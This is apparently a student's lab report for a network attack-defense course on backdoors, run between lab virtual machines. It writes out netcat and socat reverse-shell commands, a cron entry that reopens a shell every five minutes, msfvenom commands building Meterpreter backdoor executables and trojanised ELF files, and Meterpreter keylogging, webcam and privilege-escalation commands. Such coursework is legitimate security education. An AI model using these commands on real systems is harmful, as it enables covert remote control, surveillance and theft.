• 2019-2020 网络对抗技术 20175207 Exp2 后门原理于实践


    目录


    1 相关概念

    1.1 后门? - 后门就是不经过正常认证流程而访问系统的通道。

    1.2 哪里有后门?

    • 编译器留后门
    • 操作系统留后门
    • 应用程序中留后门(最常见)
    • 潜伏于操作系统中/伪装为特定应用的专门后门程序

    2 常用后门工具

    2.1 NC/netcat

    • 相关介绍
    • 提供以下主要功能的访问
      • 与任何端口的出站和入站连接(TCP或UDP)
      • 特色隧道模式,它还允许特殊的隧道,例如UDP到TCP,并可以指定所有网络参数(源端口/接口,侦听端口/接口和允许连接到隧道的远程主机)。
        内置端口扫描功能,带有随机发生器
      • 高级用法选项,例如缓冲的发送模式(每N秒一行)和已传输和接收的数据的十六进制转储(到stderr或到指定的文件)
      • 可选的RFC854 telnet代码解析器和响应器
    • 系统
      • Linux:一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
      • 下载ncat.rar,解压即可使用
    • Win获得Linux Shell 基于win7/kali linux
      • 获取windows主机ip地址:ipconfig/all
      • windows打开监听:ncat.exe -l -p 8888
      • Linux反弹连接windows:nc 192.168.137.133 8888 -e /bin/sh
      • windows获得一个linux shell,可运行任何指令:我们试一下ls指令
    • Linux获得Win Shell
      • 获取Linux主机ip地址:ifconfig/all
      • Linux运行监听指令:nc -l -p 8888
      • Windows反弹连接Linux:ncat.exe -e cmd.exe 192.168.137.130 8888
      • Linux下看到Windows的命令提示:我们试一下dir指令和whoami指令
    • Netcat扩展知识

    2.2 Meterpreter

    2.3 corn

    • corn机制
      • cron可以让系统在指定的时间,去执行某个指定的工作,我们可以使用crontab指令来管理cron机制
    • corntab表达式
    +---------------- minute  分钟(0 - 59)
    |  +------------- hour    小时(0 - 23)
    |  |  +---------- day     日期(1 - 31)
    |  |  |  +------- month   月份(1 - 12)
    |  |  |  |  +---- week    星期(0 - 7) (星期天=0 or 7)
    |  |  |  |  |
    *  *  *  *  *  要运行的命令
    
    • crontab命令
      • man crontab查看命令手册
    • corn使用示例
      • 创建corn任务:
        crontab -e
        任意选择一个编辑器我使用的是nano
        */1 * * * * echo "Have a break now." >> /tmp/test.txt 每隔1分钟输出Have a break now到/tmp/test.txt
      • 查看定时任务:crontab -l
      • 捕捉/tmp/test.txt
    • 参考:①cron和crontab命令详解,②Shell命令_Cron使用

    3 实验内容

    3.1 使用netcat获取主机操作Shell,cron启动 - Win 开启监听:`ncat.exe -l -p 8888` - Kali cron启动:每5分钟相应ip主机会获得一个shell ``` crontab -e */5 * * * * /bin/netcat 192.168.137.133 8888 -e /bin/sh ``` ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200317185659214-366611307.png) 五分钟后…… ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200317190128833-567980219.png)

    3.2 使用socat获取主机操作Shell,任务计划启动

    • Win创建socat任务
      • 控制面板-->管理工具-->任务计划程序-->创建任务(右侧边栏)
      • 常规:设置名称 我设置的是20175207
      • 触发器:新建(设置如下)
      • 操作:新建(设置如下)
        程序或脚本中为socat.exe的路径
        添加参数中为tcp-listen:8888 exec:cmd.exe,pty,stderr 把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout
      • 依次确认
      • 查看20175207任务状态为准备就绪,点击运行
    • Kali 在Linux中获取cmd shell:socat - tcp:192.168.137.133:8888

    3.3 使用 MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • Kali Linux中生成后门可执行文件
      注意:这里的ip地址为控制端ip,即kali主机的ip
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 -f exe > 20175207_backdoor.exe
    

    • 将后门文件20175207_backdoor.exe传送到Win7主机中
      • Win ncat.exe -lv 8888 > 20175207_backdoor.exe
      • Kali nc 192.168.137.133 8888 < 20175207_backdoor.exe
        注意:这里的IP地址为被控主机IP,即Win7的ip
      • 查看Win7中是否有后门文件
    • Kali 进行监听
      • 进入msf控制台:msfconsole
      • 使用监听模块,设置payload,开始监听(配置如下)
        注意:set LHOST用的是控制端ip,即Kali的ip
    • Win 运行后门程序
      提前设置后门程序可通过防火墙

    3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

    • 获取音频:recorf_mic

    • 获取摄像头:webcam_snap

    • 屏幕截图:screenshot

    • 击键记录
      • 开启键盘记录功能:keyscan_start
      • 显示捕捉到的键盘记录信息:keyscan_dump
      • 停止键盘记录功能:keyscan_stop
    • 提权:getsystem system是最高权限
    • 查看当前用户:getuid

      提权失败原因是当前用户为管理员

    3.5 使用MSF生成shellcode,注入到实践1的pwn1中,获取反弹连接Shell

    • pwn1是ELF文件,查看pwn1是多少位的:readelf -h pwn1

      Magic后第五个值是01,表明pwn1是32位的。(64位对应值02)
    • 打开MSF:msfconsole
    • 查看payload:show payloads

      我们选择linux/x86/meterpreter/reverse_tcp
    • 对应指令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
    • 最终指令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 -x pwn1 -f elf > pwn3
    • 将pwn3传输到被控主机
    • MSF打开监听

    • 被控主机运行pwn3_
    • 控制成功

    4 问题思考

    - 列举你能想到的一个后门进入到你系统的可能方式? - 从网络上下载的文件有后门 - 在网页进行某种操作触发后门进入系统 - 列举你知道的后门如何启动起来的方式(Win/Linux) - 后门绑定线程,某程序运行即启动 - 修改注册表,开机自启 - Metepreter有哪些给你印象深刻的功能? - 构造Shellcode - 查看进程并进行相关操作 - 远程控制桌面 - 本机监听 - 如何发现自己的系统有没有被安装后门? - 通过一些专业软件检测 - 查看是否有不明服务 - 查看是否有不明启动项 - Win 通过`netstat -an`查看计算机网络连接状态 - Win 通过`net user` `net user+用户名`查看是否有不正常的用户

    5 实验中遇到的问题

    - Win7中运行后门程序出现APPCRASH错误 - 没有找到合适的解决方法,换了win10重新操作 - Win10中创建任务后无法成功运行 ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200318115028172-2112465377.png) - 配置防火墙,允许socat.exe通过防火墙 - 运行任务后Kali监听不到主机 - 主机停止任务,重新运行任务
  • 相关阅读:
    Redis数据结构之字典
    多路复用
    Redis数据结构之SDS
    记一个图片转换神器vectorizer
    Java基础之面向对象上
    科学
    Linux内核源码分析之setup_arch (二)
    Linux内核源码分析之setup_arch (一)
    printk 流程分析
    多个线程顺序打印问题,一网打尽
  • 原文地址:https://www.cnblogs.com/ln-0407/p/12510696.html
Copyright © 2020-2023  润新知